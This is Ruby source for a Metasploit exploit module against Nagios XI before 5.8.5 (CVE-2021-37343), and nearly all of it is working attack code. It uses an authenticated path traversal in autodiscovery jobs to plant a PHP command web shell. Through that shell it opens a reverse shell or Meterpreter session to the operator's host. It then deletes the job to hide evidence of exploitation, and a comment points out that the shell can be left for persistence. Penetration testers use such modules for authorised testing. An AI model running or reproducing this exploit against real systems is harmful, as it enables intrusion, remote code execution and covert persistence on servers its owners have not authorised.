## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::NagiosXi include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Nagios XI Autodiscovery Webshell Upload', 'Description' => %q{ This module exploits a path traversal issue in Nagios XI before version 5.8.5 (CVE-2021-37343). The path traversal allows a remote and authenticated administrator to upload a PHP web shell and execute code as `www-data`. The module achieves this by creating an autodiscovery job with an `id` field containing a path traversal to a writable and remotely accessible directory, and `custom_ports` field containing the web shell. A cron file will be created using the chosen path and file name, and the web shell is embedded in the file. After the web shell has been written to the victim, this module will then use the web shell to establish a Meterpreter session or a reverse shell. By default, the web shell is deleted by the module, and the autodiscovery job is removed as well. }, 'License' => MSF_LICENSE, 'Author' => [ 'Claroty Team82', # vulnerability discovery 'jbaines-r7' # metasploit module ], 'References' => [ ['CVE', '2021-37343'], ['URL', 'https://claroty.com/2021/09/21/blog-research-securing-network-management-systems-nagios-xi/'] ], 'DisclosureDate' => '2021-07-15', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' }, 'Payload' => { 'Append' => ' & disown' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'CmdStagerFlavor' => [ 'printf' ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 1, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'MeterpreterTryToFork' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']), OptString.new('PASSWORD', [true, 'Password to authenticate with', nil]), OptInt.new('DEPTH', [true, 'The depth of the path traversal', 10]), OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]), OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true]) ] @webshell_uri = '/includes/components/highcharts/exporting-server/temp/' @webshell_path = '/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/' end # Authenticate and grab the version from the dashboard. Store auth cookies for later user. def check login_result, res_array = nagios_xi_login(datastore['USERNAME'], datastore['PASSWORD'], false) case login_result when 1..3 # An error occurred return CheckCode::Unknown(res_array[0]) when 4 return CheckCode::Detected('Nagios is not fully installed.') when 5 return CheckCode::Detected('The Nagios license has not been signed.') end # res_array[1] cannot be nil since the mixin checks for that already. @auth_cookies = res_array[1] nagios_version = nagios_xi_version(res_array[0]) if nagios_version.nil? return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard') end # affected versions are 5.2.0 -> 5.8.4 if Rex::Version.new(nagios_version) < Rex::Version.new('5.8.5') && Rex::Version.new(nagios_version) >= Rex::Version.new('5.2.0') return CheckCode::Appears("Determined using the self-reported version: #{nagios_version}") end CheckCode::Safe("Determined using the self-reported version: #{nagios_version}") end # Using the path traversal, upload a php webshell to the remote target def drop_webshell autodisc_uri = normalize_uri(target_uri.path, '/includes/components/autodiscovery/') print_status("Attempting to grab a CSRF token from #{autodisc_uri}") res = send_request_cgi({ 'method' => 'GET', 'uri' => autodisc_uri, 'cookie' => @auth_cookies, 'vars_get' => { 'mode' => 'newjob' } }) fail_with(Failure::Disconnected, 'Connection failed') unless res fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Unexpected HTTP body') unless res.body.include?('New Auto-Discovery Job') # snag the nsp token from the response nsp = get_nsp(res) fail_with(Failure::Unknown, 'Failed to obtain the nsp token which is required to upload the web shell') if nsp.blank? # drop a basic web shell on the server webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}") print_status("Uploading webshell to #{webshell_location}") php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>' payload = 'update=1&' \ "job=#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}&" \ "nsp=#{nsp}&" \ 'address=127.0.0.1%2F0&' \ 'frequency=Yearly&' \ "custom_ports=#{php_webshell}&" res = send_request_cgi({ 'method' => 'POST', 'uri' => autodisc_uri, 'cookie' => @auth_cookies, 'vars_get' => { 'mode' => 'newjob' }, 'data' => payload }) fail_with(Failure::Disconnected, 'Connection failed') unless res fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 302 # Test the web shell installed by echoing a random string and ensure it appears in the res.body print_status('Testing if web shell installation was successful') rand_data = Rex::Text.rand_text_alphanumeric(16..32) res = execute_via_webshell("echo #{rand_data}") fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data) print_good("Web shell installed at #{webshell_location}") # This is a great place to leave a web shell for persistence since it doesn't require auth # to touch it. By default, we'll clean this up but the attacker has to option to leave it if datastore['DELETE_WEBSHELL'] register_file_for_cleanup("#{@webshell_path}#{@webshell_name}") end end # Successful exploitation creates a new job in the autodiscovery view. This function deletes # the job that there is no evidence of exploitation in the UI. def cleanup_job print_status('Deleting autodiscovery job') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/includes/components/autodiscovery/'), 'cookie' => @auth_cookies, 'vars_get' => { 'mode' => 'deletejob', 'job' => "#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}" } }) fail_with(Failure::Disconnected, 'Connection failed') unless res fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res&.code == 302 end # Executes commands via the uploaded webshell def execute_via_webshell(cmd) cmd = Rex::Text.uri_encode(cmd) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/includes/components/highcharts/exporting-server/temp/#{@webshell_name}?cmd=#{cmd}") }) fail_with(Failure::Disconnected, 'Connection failed') unless res fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200 res end def execute_command(cmd, _opts = {}) execute_via_webshell(cmd) end def exploit # create a randomish web shell name if the user doesn't specify one @webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php" drop_webshell print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end ensure cleanup_job end end